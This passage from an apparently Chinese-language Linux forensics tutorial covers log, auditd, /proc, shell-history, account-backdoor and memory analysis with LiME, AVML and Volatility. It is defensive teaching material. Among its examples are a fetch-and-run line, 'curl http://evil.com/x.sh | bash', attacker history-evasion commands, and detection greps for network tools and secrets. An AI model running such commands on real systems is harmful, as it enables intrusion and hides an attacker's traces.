位置:文件系统内部(不是单独的文件)
大小:默认 128MB(大文件系统可能更大)

提取:
  debugfs -R "dump -o <inode> /tmp/journal" /dev/sdb1
  # journal 的 inode 通常是 8

分析:
  ★ 用 fsstat、jls(TSK 套装)或者直接 strings 看
  ★ 实用做法:journal 里能捞到已删除文件的【文件名和 inode 号】
    strings journal | grep -i "\.sh\|\.py\|malware"

⚠️ 局限性:
  - journal 会循环覆盖(繁忙的系统上只保留几分钟)
  - 只记录元数据,不记录内容
  - ★ 所以它的价值主要是"补充",不是主力

★ Linux 上的“最近改动文件”查找(最实用的一招)

# ══ 核心技巧:按时间排序找改动 ══
# ★ 这是 Linux 取证里投入产出比最高的一招

# ① 找最近 N 天被修改的文件(排除动态变化的目录)
find / -mtime -7 -type f \
    -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" \
    -not -path "/var/log/*" -not -path "/tmp/*" \
    -not -path "/var/cache/*" -not -path "/var/lib/*" \
    -not -path "/usr/share/*" -not -path "/run/*" \
    -printf '%T+ %10s %p\n' 2>/dev/null | sort -r | head -100

# ② 找某个时间点之后修改的文件(★ 精确定位)
find / -newermt "2026-03-15 02:00:00" ! -newermt "2026-03-15 04:00:00" \
    -type f -printf '%T+ %p\n' 2>/dev/null | sort
# ★ 用法:先把"恶意文件的创建时间"确定下来,然后找【同一时间段】
#    还改了什么 —— 攻击者往往在同一时间窗口内做了多件事

# ③ 找 /etc 下被改过的配置(★ 后门高发区)
find /etc -newermt "30 days ago" -type f -printf '%T+ %p\n' 2>/dev/null | sort -r

# ④ 对比 RPM/DPKG 包的文件校验(★ 找出被替换的系统命令)
#    RHEL/CentOS:
rpm -Va | grep -vE '^(\.|M){0,1}\.*\s+(c|d|g|l|r)\s'
#    ★ 输出里各字段含义:
#       S = 大小变了   M = 权限/模式变了
#       5 = 校验和变了 ★ 最关键(内容被改)
#       D = 设备变了   L = 链接路径变了
#       U = 所有者变了 G = 组变了
#       T = mtime 变了 ★ 也是关键信号
#       P = capabilities 变了
#    ★ 看到 "5" 就高度怀疑这个二进制被替换了(Rootkit 的典型特征)

#    Debian/Ubuntu:
dpkg --verify | grep -v '^??'
#    或者
debsums -c

# ★ 这一招能直接找出被 Rootkit 替换的 ls / ps / netstat

# ⑤ 找设置了 SUID 的可疑文件(★ 第六章讲过提权,这里是取证)
find / -perm -4000 -type f -ls 2>/dev/null | \
    awk '{print $NF}' | \
    while read f; do
        echo "$f"
    done
# ★ 对比基准:正常系统的 SUID 文件就那么几十个
#   (passwd、sudo、su、ping、mount...)
#   多出来的任何一个都要查

8.3.3 Linux 日志取证

★ 五类日志与它们的特点

日志 位置 格式 记录什么 抗篡改
syslog /var/log/messages、/var/log/syslog 文本 系统各种事件 ★ 弱(文本,可精确改)
auth.log / secure /var/log/auth.log(Debian)
/var/log/secure(RHEL)
文本 ★ 登录、su、sudo、SSH ★ 弱
auditd /var/log/audit/audit.log 文本(结构化) ★ 最详细:文件访问、命令、网络 ★★ 中(规则可配、日志可转发)
wtmp/btmp/lastlog /var/log/wtmp、btmp、lastlog 二进制 登录成功/失败/最后登录 ★★★ 强(二进制)
journald /var/log/journal/ 二进制 systemd 管理的所有日志 ★★★ 强(有 FSS 防篡改选项)

★ auth.log / secure 的关键记录(取证要点)

# ══ SSH 登录相关 ══
# 成功登录
grep "Accepted" /var/log/secure
#   Mar 15 02:13:45 host sshd[12345]: Accepted publickey for root from 203.0.113.5 port 54321 ssh2
#                                                          ↑ 来源 IP ★
#                                              ↑ 认证方式(publickey / password)
#                                                              ↑ 用户名

# 失败登录(★ 爆破证据)
grep "Failed" /var/log/secure
#   Mar 15 02:10:11 host sshd[12340]: Failed password for root from 203.0.113.5 port 54321 ssh2
#   Mar 15 02:10:13 host sshd[12341]: Failed password for invalid user admin from 203.0.113.5 ...
#                                                   ★ invalid user = 用户名不存在

# ★ 统计爆破(★ 最常用)
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20
#   输出:来源 IP 和失败次数
#   例:  847 203.0.113.5
#        ★ 800+ 次失败 = 明确爆破

# 被爆破的账号名
grep "Failed password for" /var/log/secure | \
    sed -n 's/.*Failed password for \(invalid user \)\?\([^ ]*\) from.*/\2/p' | \
    sort | uniq -c | sort -rn | head -20
#   ★ 这能看出攻击者【已经知道了哪些账号名】(说明之前做过枚举)

# 登录成功的 IP 统计
grep "Accepted" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -rn

# ══ sudo ══
grep "sudo:" /var/log/secure | grep -i "COMMAND"
#   Mar 15 03:22:10 host sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/bash
#                                                                              ★ 执行的命令

# ★ 找可疑的 sudo(比如 sudo 到 root 然后跑了个脚本)
grep "sudo:" /var/log/secure | grep "COMMAND" | grep -iE "bash|sh -c|python|perl|curl|wget|nc|chmod"

# ══ su ══
grep "su:" /var/log/secure | grep -i "session opened\|authentication failure"

# ══ 用户/组变更 ══
grep -iE "useradd|usermod|groupadd|passwd" /var/log/secure
#   Mar 15 02:30:00 host useradd[999]: new user: name=backdoor, UID=0, GID=0
#                                                              ★ UID=0 = 加了个 root 账号!

# ★ 找新增账号(★ 后门高发)
grep -E "useradd|new user" /var/log/secure /var/log/auth.log 2>/dev/null

★ auditd 日志(Linux 上最强的信息源)

# auditd 是 Linux 的审计框架,★ 记录粒度远超 syslog
# 第六章讲过怎么配置规则,这里讲怎么取证分析

# ══ 查看日志 ══
ausearch -m USER_LOGIN -i              # 登录事件(-i 把数字转成可读的名字)
ausearch -m EXECVE -i                  # ★ 命令执行
ausearch -f /etc/passwd -i             # 访问过某个文件的所有记录
ausearch -ua alice -i                  # 某个用户的所有活动
ausearch -ts today -i                  # 今天的
ausearch -ts 03/15/2026 02:00:00 -te 03/15/2026 04:00:00 -i   # 时间范围 ★

# ══ 按系统调用查 ══
ausearch -sc execve -i                 # 所有程序执行
ausearch -sc open,openat -i            # 文件打开
ausearch -sc connect,bind -i           # 网络连接
ausearch -sc ptrace -i                 # ★ ptrace(注入/调试)

# ══ 生成报表 ══
aureport -x                            # 可执行程序报表
aureport -u                            # 用户活动报表
aureport -f                            # 文件访问报表
aureport -l                            # 登录报表
aureport -n                            # 网络活动报表
aureport --summary                     # 总览 ★

# ══ auditd 日志的格式(看懂它)══
#   type=SYSCALL msg=audit(1710464000.123:45678):
#       arch=c000003e syscall=59 success=yes exit=0
#       a0=... a1=... a2=... a3=... items=2 ppid=1234 pid=5678
#       auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0
#       tty=pts0 ses=1 comm="malware" exe="/tmp/malware"
#       key="exec-tracking"
#
#   ★ 关键字段:
#     msg=audit(<Unix时间戳>.<毫秒>:<事件ID>)
#     syscall=59   → 59 是 execve(程序执行)
#     ★ auid       → 【原始登录用户】的 UID ★★★
#                    ★ 这是 auditd 最强大的地方:
#                      即使 su 到 root,auid 仍然是原来的用户
#                      → 能追到"到底是谁干的"
#     uid/euid     → 当前有效 UID
#     ppid/pid     → 父子进程
#     comm/exe     → 程序名和路径
#     success      → 成功/失败
#     key          → 你配置的规则 key(便于过滤)

# ══ 常见 syscall 号(x86_64)══
#   2   open         59  execve   ★ 程序执行
#   3   close        60  exit
#   257 openat       322 execveat
#   42  connect  ★   49  bind
#   87  unlink       88  symlink
#   101 ptrace  ★    263 unlinkat
#   ★ 记住 59(execve)就够了,这是取证最常用的

# ══ 时间转换 ══
# auditd 的时间是 Unix 时间戳
date -d @1710464000
# ★ 注意时区!

★ 二进制登录日志(wtmp/btmp/lastlog)

# ══ 三个文件 ══
#   /var/log/wtmp    登录成功的历史(last 读)
#   /var/log/btmp    登录失败的历史(lastb 读)★ 爆破证据
#   /var/log/lastlog 每个用户的最后登录时间(lastlog 读)

# 查看
last -Fadwx          # -F 完整时间 -a 主机名在最后 -d DNS解析 -w 完整用户名 -x 关机重启
lastb -Fadwx         # ★ 失败的登录
lastlog              # 每个账号的最后登录

# ★ 取证要点:
#   ① last 能看到【来源 IP】和【登录时长】
#      root     pts/0        203.0.113.5      Fri Mar 15 02:13:45 2026 - 04:22:10  (02:08)
#                            ★ 来源 IP
#
#   ② ★ 能看到【关机/重启】记录(reboot 行)
#      → 判断攻击者有没有重启过机器(清内存证据)
#
#   ③ ★ lastb 是爆破的直接证据
#      → 统计:lastb | awk '{print $3}' | sort | uniq -c | sort -rn
#
#   ④ lastlog 能找出【长期没登录却突然活跃的账号】
#      → ★ 攻击者盗用了某个休眠账号

# ══ 检测日志被清空 ══
# ★ 方法:看文件大小和修改时间
ls -la /var/log/wtmp /var/log/btmp /var/log/lastlog
#   如果 wtmp 很小(比如 0 或 1KB)但系统运行了很久 → ★ 被清空过
#   如果修改时间是整点整分(精确到秒是 00)→ 可疑

# ★ 更可靠的方法:看 auditd 有没有记录对这个文件的写操作
ausearch -f /var/log/wtmp -i
#   → 能看到谁在什么时候动了 wtmp

# ★ 终极方法:看 wtmp 里的【最早记录】
last -F | tail -5
#   如果最早记录是 3 天前,但这台机器运行了 2 年
#   → ★ 明确被清空过(3 天前)

★ journald(systemd 日志)

# ══ 基本查看 ══
journalctl                            # 全部
journalctl -u sshd                    # 某个服务
journalctl _UID=0                     # ★ 某个 UID 的所有日志
journalctl _PID=1234                  # 某个进程
journalctl --since "2026-03-15 02:00:00" --until "2026-03-15 04:00:00"  # ★ 时间范围
journalctl -f                         # 实时跟进
journalctl -b                         # 本次启动以来
journalctl -b -1                      # ★ 上一次启动(取证时很有用!)
journalctl -k                         # 内核日志(等同 dmesg)

# ══ 输出格式 ══
journalctl -o json-pretty             # ★ JSON,便于程序处理
journalctl -o export                  # 二进制安全的导出格式(★ 取证推荐)
journalctl -o short-precise           # 高精度时间
journalctl --no-pager                 # 不分页(重定向到文件时用)

# ══ 取证要点 ══
# ① ★ 导出保存(二进制格式,保留全部字段)
journalctl --all --output=export > /evidence/journal_export.txt

# ② ★ 检查日志完整性
journalctl --verify
#   → 检查 journal 文件的哈希链(★ journald 有 FSS 前向安全密封)
#   → 如果被篡改,会报 "Fail"
#   ⚠️ 前提:必须先启用 FSS:journalctl --setup-keys

# ③ 找删除痕迹
#   journald 的日志文件按时间分片,如果少了某一段 → 被删过
ls -la /var/log/journal/*/  | grep system@

# ④ ★ 关键:journald 默认可能【不持久化】
#   检查 /etc/systemd/journald.conf 的 Storage=
#     persistent → 存到 /var/log/journal(★ 取证需要)
#     volatile   → 只存 /run/log/journal(★ 重启就没了!)
#     auto       → 默认,如果 /var/log/journal 存在就持久化
#   ★ 所以:Storage=persistent 是取证的前提配置

8.3.4 Linux 进程与网络取证

★ /proc 是 Linux 取证的金矿(重点)

# ══ /proc/<PID>/ 下最重要的几个 ══

# ① cmdline —— 完整命令行(★ \0 分隔)
tr '\0' ' ' < /proc/666/cmdline
#   ★ 比 ps 更可靠(ps 可能被 Rootkit 骗)

# ② exe —— 可执行文件的符号链接
readlink /proc/666/exe
#   ★ 如果输出 "/tmp/malware (deleted)" → 程序被删了但还在跑
#   ★ 这是 Linux 恶意程序的典型特征

# ③ cwd —— 当前工作目录
readlink /proc/666/cwd

# ④ environ —— 环境变量 ★★★
tr '\0' '\n' < /proc/666/environ | grep -iE 'pass|pwd|key|token|secret|api'
#   ★ 很多程序把密码放在环境变量里(K8s Secret、CI 变量、mysql -p 的历史)
#   ★ 攻击者也会读这个

# ⑤ fd/ —— 打开的文件描述符 ★★★
ls -la /proc/666/fd/
#   lrwx------ 1 root root 64 Mar 15 02:13 0 -> /dev/null
#   lrwx------ 1 root root 64 Mar 15 02:13 1 -> socket:[12345]
#   lrwx------ 1 root root 64 Mar 15 02:13 3 -> /var/log/secret.log (deleted)  ★
#   ★ 已删除但仍打开的文件 → 可以直接 cp 恢复
cp /proc/666/fd/3 /evidence/recovered_secret.log

# ⑥ maps —— 内存映射 ★★
cat /proc/666/maps
#   ★ 能看到加载了哪些 .so、哪些内存区域是 rwx(可写可执行 = 注入特征)
#   ★ 找可疑项:
grep -E 'rwxp' /proc/666/maps
#   → rwxp 的内存段 = 典型的代码注入(正常的段不会同时可写可执行)
#   → 匿名映射的大块 rwxp = ★ 强烈可疑

# ⑦ status / stat —— 状态和父子关系
cat /proc/666/status | grep -E 'Name|State|PPid|Uid|Gid'
#   ★ PPid = 父进程,能拼出进程树
#   ★ Uid 行有四个值:real/effective/saved/filesystem
#     如果 euid=0 但 uid≠0 → 提权了(SUID 程序)

# ⑧ io —— I/O 统计(★ 判断是不是在做大量读写)
cat /proc/666/io
#   rchar / wchar = 读写的字节数
#   ★ 突然大量写入 = 可能在加密文件(勒索软件)

# ⑨ net/ —— 进程的网络连接
cat /proc/666/net/tcp     # ★ 注意:这是网络命名空间的,不是进程的
#   ★ 要看进程的连接用:lsof -p 666 -i  或 ss -p

# ⑩ task/ —— 线程
ls /proc/666/task/     # 线程列表

★ 隐藏进程检测(Rootkit 检测的核心)

# ══ 方法:对比多个来源,找"不一致" ══

# ① /proc vs ps(★ 最简单有效)
comm -23 \
  <(ls -d /proc/[0-9]* | sed 's|/proc/||' | sort -n) \
  <(ps -e -o pid= | tr -d ' ' | sort -n)
#   ★ 输出 = 在 /proc 里有但 ps 看不到的 PID = 被隐藏的进程

# ② /proc vs 内核的 task 链表(需要 Volatility,最可靠)
#   volatility -f mem.lime --profile=Linux... linux_pslist   (ps 视角)
#   volatility -f mem.lime --profile=Linux... linux_pstree
#   ★ 对比 linux_pslist 和 linux_psscan:
#     pslist 走内核的 task 链表(Rootkit 会摘链)
#     psscan 扫描整个内存的进程结构(★ 能找到被摘链的)
#     → 两者差异 = 隐藏进程 ★★★

# ③ 检查 /proc/modules vs lsmod
comm -23 <(cut -d' ' -f1 /proc/modules | sort) <(lsmod | tail -n +2 | cut -d' ' -f1 | sort)
#   ★ 差异 = 隐藏的内核模块(LKM Rootkit)

# ④ 端口 vs 进程
ss -tunap | grep -v 'users:'   # 没有进程信息的连接 = 可疑
#   ★ 或者:lsof -i 看不到但 netstat 能看到的连接

# ⑤ 检查系统命令是否被替换(★ 用包管理器校验)
rpm -Va 2>/dev/null | grep '^..5'     # RHEL:校验和变了
dpkg --verify 2>/dev/null             # Debian
#   ★ 或者对比文件大小/时间与同版本的其他机器

# ⑥ 用静态二进制(★ 最实用的对抗手段)
/mnt/usb/busybox-static ps aux
/mnt/usb/busybox-static netstat -tunap
/mnt/usb/busybox-static ls -la /proc/
#   ★ Rootkit 通常只替换 /bin/ps、/usr/bin/netstat
#     不会想到替换 U 盘上的静态 busybox

★ 网络取证(Linux 侧)

# ══ 当前连接 ══
ss -tunap
#   -t TCP  -u UDP  -n 不解析域名(★ 快且避免 DNS 查询暴露)
#   -a 所有(含监听)  -p 显示进程 ★
#   ★ ss 比 netstat 新、快、信息更全

# ★ 找可疑连接:
ss -tunap | grep -vE '127.0.0.1|::1'      # 排除本地
ss -tunap | grep ESTAB                    # 已建立的
ss -tunap | grep -E ':(4444|5555|6666|7777|8888|9001|1337|31337)'  # ★ 常见后端口

# ══ 已关闭的连接(★ 内存里才有)══
# 用 Volatility:
#   volatility -f mem.lime linux_netscan    # ★ 能看到已关闭的连接

# ══ ARP 缓存(★ 内网横向的证据)══
ip neigh
cat /proc/net/arp
#   ★ 能看到这台机器跟哪些内网 IP 通信过
#   → 判断横向移动的范围

# ══ DNS 缓存 ══
# Linux 默认没有系统级 DNS 缓存(除非装了 nscd/dnsmasq/systemd-resolved)
systemd-resolve --statistics    # systemd-resolved
cat /proc/net/xt_recent/*       # iptables recent 模块
# ★ 更实用:看应用的 DNS 日志(dnsmasq、unbound)
#   或者:网络侧的 DNS 服务器日志 ★(最可靠)

# ══ 抓包(★ 实时取证)══
tcpdump -i any -w /evidence/capture.pcap -C 100 -W 10
#   -i any 所有网卡
#   -w 写文件
#   -C 100 每 100MB 一个文件   -W 10 最多 10 个(循环覆盖)
#   ★ 取证建议:抓全包但限定大小,或者只抓可疑 IP

tcpdump -i eth0 host 203.0.113.5 -w /evidence/c2.pcap
#   ★ 只抓 C2

# ══ iptables 日志(如果配了)══
iptables -A INPUT -j LOG --log-prefix "IPTABLES-DROP: "
#   → 日志到 /var/log/messages 或 kern.log
grep "IPTABLES-DROP" /var/log/messages

8.3.5 Linux 用户活动取证

★ shell history 的取证价值与坑

# ══ history 在哪 ══
# Bash:  ~/.bash_history
# Zsh:   ~/.zh_history
# ★ 每个用户一份,root 的在 /root/.bash_history

# ══ 直接看 ══
cat /root/.bash_history
# ★ 但要注意几个坑:

# 坑一:history 是在【shell 退出时】才写入文件的
#   → 如果攻击者还在操作,你看不到最新的命令
#   → 解决:看内存(Volatility 的 linux_bash)或者看 /proc/<PID>/ 的活动

# 坑二:history 可以被删除
#   history -c                          清内存里的
#   > ~/.bash_history                   清空文件
#   rm ~/.bash_history                  删文件
#   ★ 或者更隐蔽:用 sed 精确删除某几行

# 坑三:可以完全不记录(★ 攻击者常做)
#   unset HISTFILE                      不写文件
#   export HISTFILE=/dev/null           写到黑洞
#   export HISTSIZE=0                   不保存
#   export HISTCONTROL=ignorespace      空格开头的不记录
#   set +o history                      关闭 history
#   ★ 或者:用 sh(不是 bash)执行,默认不记录

# ★ 检测方法(★ 重要):
#   ① 看环境变量配置
grep -iE 'hist' /root/.bashrc /root/.bash_profile /root/.profile /etc/bash.bashrc /etc/profile 2>/dev/null

#   ② 看 history 文件的大小和时间是否异常
ls -la /root/.bash_history
#      ★ 如果文件很小(0 或几十字节)但用了很久 → 被清理过
#      ★ 如果修改时间早于最后登录时间 → 被清理过

#   ③ ★ 看 history 里的编号是否连续
#      正常的 history 编号是连续的(1,2,3...1000)
#      中间断了 = 被删了中间几行
#      查看:cat -n ~/.bash_history | head -50
#      ★ 或者开了时间戳的话更明显:
#        export HISTTIMEFORMAT='%F %T '    ← 建议所有生产机都配上 ★
#        history
#        1  2026-03-15 02:10:00 whoami
#        2  2026-03-15 02:10:05 id
#        5  2026-03-15 02:15:00 curl http://evil.com/x.sh | bash
#        ★ 编号从 2 跳到 5 → 中间 3、4 行被删了!

#   ④ ★ 用 auditd 兜底(★ 最可靠)
#      配置 execve 审计规则,所有命令执行都会记到 audit.log
#      → 攻击者清了 history,audit.log 里还在
#      → 前提:auditd 日志转发到远程 ★

# ══ 其他 shell 相关 ══
# ★ 查看当前 shell 的实时 history(内存里)
history        # 只在当前 shell 里有意义

# ★ 从内存恢复被清的 history(Volatility)
#   volatility -f mem.lime --profile=Linux... linux_bash
#   ★ 能恢复出【已被删除】的历史命令(因为还在 bash 进程的内存里)

# ★ 还有一个冷门但有用的:.lesshst、.mysql_history、.psql_history、.python_history
cat /root/.mysql_history      # ★ 可能有 SQL,甚至能看到密码
cat /root/.psql_history
cat /root/.python_history
cat /root/.rediscli_history
#   ★ 攻击者常常忘了清这些

★ 用户与权限取证(找后门账号)

# ══ ① 找 UID=0 的账号 ★ ══
awk -F: '$3==0 {print "★ UID=0: " $1 " (shell: " $7 ")"}' /etc/passwd
#   ★ 正常只有 root 一个,多出来的都是后门

# ══ ② 找能登录的账号 ══
awk -F: '$7 !~ /(nologin|false)$/ {print $1 " -> " $7}' /etc/passwd
#   ★ 服务账号的 shell 应该是 nologin/false

# ══ ③ 找没密码的账号 ★ ══
awk -F: '($2=="") {print "★ 无密码: " $1}' /etc/shadow
#   ★ 有密码但为空 = 可以直接 su 过去(如果允许的话)

# ══ ④ 找最近新建的账号 ══
awk -F: -v d="$(date -d '30 days ago' +%s)" '{print}' /etc/passwd  # 需要配合文件时间
#   更简单:
ls -la /etc/passwd /etc/shadow /etc/group
#   ★ 看修改时间

# ══ ⑤ 对比账号的 UID 顺序 ══
sort -t: -k3 -n /etc/passwd
#   ★ 新建的账号 UID 通常是最大的(1000+)
#   ★ 如果看到一个 UID=0 的账号排在最后 → 明显是后加的

# ══ ⑥ 检查 sudo 权限 ══
cat /etc/sudoers | grep -vE '^\s*#|^\s*$'
ls -la /etc/sudoers.d/
#   ★ 找 NOPASSWD(免密 sudo)
grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/

# ══ ⑦ 检查 SSH 后门 ★ ══
#   authorized_keys(每个用户)
find / -name "authorized_keys" -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null
#   ★ 找不认识的公钥
#   ★ 特别看 command= 开头的(第六章讲过的后门)

#   SSH 配置
grep -vE '^\s*#|^\s*$' /etc/ssh/sshd_config
#   ★ 重点看:
#     PermitRootLogin yes          ← 允许 root 直接登录(危险)
#     PasswordAuthentication yes   ← 允许密码登录(可被爆破)
#     AuthorizedKeysFile           ← 被改到别处了?(攻击者常改这个)
#     Port                         ← 改了端口?(攻击者加了个额外的 SSH 服务)
#     ★ 有没有额外的 ListenAddress

#   ★ 检查 sshd 的二进制和配置文件是否被改
rpm -V openssh-server    # RHEL
dpkg -V openssh-server   # Debian

# ══ ⑧ 检查计划任务 ★ ══
for u in $(cut -f1 -d: /etc/passwd); do
    echo "== $u =="; crontab -u $u -l 2>/dev/null
done
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
ls -laR /var/spool/cron/ /var/spool/cron/crontabs/
#   ★ 找不认识的、最近的

#   systemd timer(★ 现代 Linux 常用,容易漏)
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer

# ══ ⑨ 检查 LD_PRELOAD ★ ══
cat /etc/ld.so.preload 2>/dev/null
#   ★ 有内容 = 全局注入(第六章讲过)
#   ★ 也可以看环境变量:
env | grep -i preload
cat /proc/<PID>/environ | tr '\0' '\n' | grep -i preload
#   ★ 进程级的 LD_PRELOAD(只影响单个进程,更隐蔽)

# ══ ⑩ 检查 PAM ══
ls -la /etc/pam.d/
#   ★ 看修改时间,找不认识的 .so
rpm -V pam    # 校验

8.3.6 Linux 内存取证

★ 抓内存:LiME 与 AVML

# ══ LiME(Linux Memory Extractor)══
# 原理:编译一个内核模块(.ko),加载后把内存 dump 出来
# ★ 优点:格式标准(LiME format),Volatility 原生支持
# ★ 缺点:需要编译内核模块,需要匹配的内核头文件;会被某些安全机制拦

# 编译(★ 必须在【同版本内核】的机器上编译,或者目标机上编译)
git clone https://github.com/504ensicsLabs/LiME.git
cd LiME/src
make
#   → 生成 lime-$(uname -r).ko

# 采集
insmod ./lime-5.4.0-91-generic.ko "path=/mnt/usb/mem.lime format=lime"
#   ★ path 是输出路径(★ 必须是外部介质)
#   format: lime(推荐)/ padded / raw

# 卸载
rmmod lime

# ★ 采集完立即算哈希
sha256sum /mnt/usb/mem.lime


# ══ AVML(Acquire Volatile Memory for Linux,微软开源)★ 推荐 ══
# ★ 优点:
#   ① 不需要编译内核模块(用户态实现)
#   ② 不需要匹配内核头文件
#   ③ ★ 不容易被安全机制拦截
#   ④ 微软出品,有签名

# 下载(单文件,几 MB)
wget https://github.com/microsoft/avml/releases/latest/download/avml
chmod +x avml

# 采集
./avml /mnt/usb/mem.lime
#   ★ 输出 LiME 格式(Volatility 能读)

# 压缩版(★ 内存大时用)
./avml --compress /mnt/usb/mem.lime


# ══ 其他方式 ══
# ① /proc/kcore(★ 内核视角的内存,不需要额外工具)
#   ⚠️ 限制:只能拿到内核空间,且某些发行版禁用了
cp /proc/kcore /mnt/usb/kcore.img
#   ★ 大小可能非常大(等于物理内存 + 一些)

# ② /dev/mem(老方法,现代内核默认禁用)
#   需要内核开启 CONFIG_STRICT_DEVMEM=n

# ③ 虚拟机环境(★ 最方便)
#   VMware: 挂起虚拟机 → 复制 .vmem 文件
#   KVM:    virsh dump <domain> /mnt/usb/mem.raw --memory-only
#   ★ 云上:部分云厂商提供内存快照 API

# ④ 崩溃转储(kdump)
echo c > /proc/sysrq-trigger     # ★ 触发内核崩溃,生成 vmcore
#   ⚠️ 这会让机器重启!只在极端情况用

★ Linux 内存分析:Volatility 需要 Profile(★ 最大的坑)

问题:
  Volatility 分析 Linux 内存需要知道【内核数据结构的布局】
  → 这些信息存在 "Profile" 里
  → Profile 依赖【精确的内核版本】(uname -r 的完整字符串)

★ 所以要做的三件事:
  ① 采集内存时【必须】同时记录:
     uname -a
     cat /proc/version
     ★ 最好把 /boot/System.map-$(uname -r) 也拷下来

  ② 找到或制作对应的 Profile
     - Volatility 自带一些常见发行版的 profile
     - 没有的话要自己制作(见下)

  ③ Volatility 2 用 profile,Volatility 3 用【符号表】(ISF JSON)
     ★ Volatility 3 更好用:可以直接用内核的 debug symbols

★ Volatility 3 的做法(推荐):
  # ① 下载对应发行版的内核调试符号
  #    Ubuntu: http://ddebs.ubuntu.com/
  #    CentOS: debuginfo.centos.org
  # ② 转成 Volatility 3 的 ISF JSON
  python3 vol.py -f mem.lime linux.pslist    # 会自动找符号表
  # ★ Vol3 会尝试从网络下载或本地缓存找符号

★ Volatility 2 制作 profile(老方法,仍有用):
  # 在【同版本】的目标机器或同版本系统上:
  cd volatility/tools/linux
  make -C /lib/modules/$(uname -r)/build CONFIG_DEBUG_INFO=y M=$PWD modules
  dwarfdump -di ./module.o > module.dwarf
  # 打包成 zip
  zip Ubuntu1804.zip module.dwarf /boot/System.map-$(uname -r)
  # 放到 volatility/volatility/plugins/overlays/linux/
  # 使用:vol.py --info | grep Linux   看 profile 名

★ Volatility Linux 常用插件

# 进程
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_pslist    # 内核链表视角
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_psscan    # ★ 扫描内存(能找隐藏进程)
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_pstree    # 进程树 ★
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_psaux     # ★ 命令行参数
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_bash      # ★ 恢复 bash history
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_psenv     # 环境变量(可能有密码)

# 网络
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_netstat   # 网络连接
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_netscan   # ★ 含已关闭的
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_arp       # ARP 缓存

# 内存内容
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_malfind   # ★ 找注入的代码
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_procdump  # dump 进程内存
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_memmap    # 内存映射

# Rootkit 检测
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_check_modules   # ★ 隐藏内核模块
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_check_syscall   # ★ syscall 表 hook
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_check_fop       # ★ 文件操作表 hook
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_check_afinfo    # 网络协议族 hook
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_check_idt       # IDT hook
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_check_creds     # 凭证篡改

# 文件系统(在内存里)
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_find_file
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_recover_filesystem

# 其他
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_mount      # 挂载点
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_dmesg      # ★ 内核日志
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_lsof       # 打开的文件
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_library_list  # 加载的库
vol.py -f mem.lime --profile=LinuxUbuntu1804x64 linux_tmpfs      # /dev/shm 内容 ★

# ★ 实战组合(找隐藏进程 + Rootkit):
#   ① linux_pslist vs linux_psscan 的差集 = 隐藏进程
#   ② linux_check_modules vs lsmod = 隐藏模块
#   ③ linux_malfind = 注入代码
#   ④ linux_check_syscall = syscall hook

8.4 内存取证深入:Volatility 3 实战

8.4.1 Volatility 2 vs Volatility 3

Volatility 2(老版本,2019 年后不再更新)
  语言:Python 2
  profile:需要为【每个内核版本】单独制作(.zip)
  命令格式:vol.py -f mem.raw --profile=Win10x64_19041 <plugin>
  ★ 现状:仍被广泛使用(因为大量教程和 plugin 基于它),但已停止维护

Volatility 3(新版本,★ 推荐)
  语言:Python 3
  符号表:用 ISF JSON 格式(★ 自动下载,不用手工做 profile)
  命令格式:vol.py -f mem.raw windows.pslist
            ↑ 注意:插件名带平台前缀,用点号
  ★ 优势:
    - 自动获取符号表(联网下载或本地缓存)
    - 性能更好(重写了内存访问层)
    - 支持更多新 Windows 版本
    - 插件系统更规范

★ 实务建议:
  新项目用 Volatility 3
  遇到 Vol 3 没覆盖的插件时再用 Vol 2
  ★ 两个都装上,互为补充

安装

# Volatility 3
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
pip3 install -r requirements.txt
python3 vol.py --help

# 查看支持的插件
python3 vol.py --help | grep windows
python3 vol.py --help | grep linux

# ★ 符号表(Symbols)
#   Vol3 会自动查找,找不到会提示下载
#   也可以手工放:volatility3/symbols/windows/xxx.json
#   官方符号表仓库:https://downloads.volatilityfoundation.org/volatility3/symbols/
#   ★ 离线环境:提前下载好整个 symbols 目录

# Volatility 2(如果需要)
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
python2 vol.py --info

8.4.2 Windows 内存分析:完整实战流程

★ 标准分析顺序(六步,记住这个套路)

第一步:确认镜像信息(先搞清楚你拿到的是什么)
  windows.info

第二步:看进程(找异常的)
  windows.pslist     内核链表视角
  windows.psscan     ★ 扫描视角(能找隐藏进程)
  windows.pstree     ★ 进程树(看父子关系异常)
  windows.psxview    ★ 多视角对比(★ 找 Rootkit 最有效)

